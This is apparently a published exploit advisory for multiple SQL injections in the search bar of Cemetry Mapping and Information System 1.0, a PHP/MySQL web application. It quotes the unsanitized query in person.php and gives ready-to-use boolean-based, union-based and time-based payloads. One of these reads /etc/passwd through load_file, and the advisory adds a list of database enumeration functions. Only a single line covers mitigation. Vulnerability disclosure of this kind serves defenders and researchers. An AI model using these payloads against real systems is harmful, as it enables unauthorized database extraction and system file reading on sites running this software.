Cemetry Mapping and Information System 1.0 - Multiple SQL Injections

# Exploit Title: Cemetry Mapping and Information System 1.0 - Multiple SQL Injections
# Exploit Author: Mesut Cetin
# Date: 2021-01-12
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "Search" bar (POST method)
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

SQL Injection is a type of an injection attack that makes it possible to execute malicious SQL statements. Due to unsanitized user input, the attacker can retrieve the entire SQL database in this case.

Explanation:

The function "person.php" takes user input through the search bar at line 45:

"$_POST['search']"

and uses it without any sanitization for the following SQL statement (line 46-49):

$sql = "SELECT * FROM tblpeople WHERE FNAME LIKE '%".$search."%'";
$mydb->setQuery($sql);
$cur = $mydb->executeQuery();
$numrows = $mydb->num_rows($cur);//get the number of count

A single quote (') at the search bar under http://localhost/CemeteryMapping/index.php?q=person will result in SQL synthax errors.

Proof of Concept:

Since the php code lacks of sanitization of the user input, multiple SQL injection queries can be found.

1. Boolean-based SQL injection

POST request the page /CemeteryMapping/index.php?q=person and use as payload: ' or 1=1 --

search=' or 1=1 --

2. Union-based SQL injection

To retrieve sensitive files like /etc/passwd, use the following payload at the search bar (POST request http://localhost/CemeteryMapping/index.php?q=person):

search=' UNION SELECT NULL,load_file('/etc/passwd'),NULL,NULL,NULL,NULL,NULL-- -

If you want to enumerate the target system further, replace "load_file('/etc/passwd')" with one of the following MySQL commands:

@@hostname : Current Hostname

@@tmpdir : Temp Directory

@@datadir : Data Directory

@@version : Version of DB

@@basedir : Base Directory

user() : Current User

database() : Current Database

version() : Version

schema() : current Database

UUID() : System UUID key

current_user() : Current User

current_user : Current User

system_user() : Current System user

session_user() : Session user

@@GLOBAL.have_symlink : Check if Symlink is enabled or disabled

@@GLOBAL.have_ssl : Check if it have SSL or not

3. Time-based SQL injection

For time-based SQL injection, use the payload: ' AND (SELECT 2634 FROM (SELECT(SLEEP(5)))muaN)-- -

Mitigation:

By using prepared statements and parameterized queries, the SQL injection can be prevented.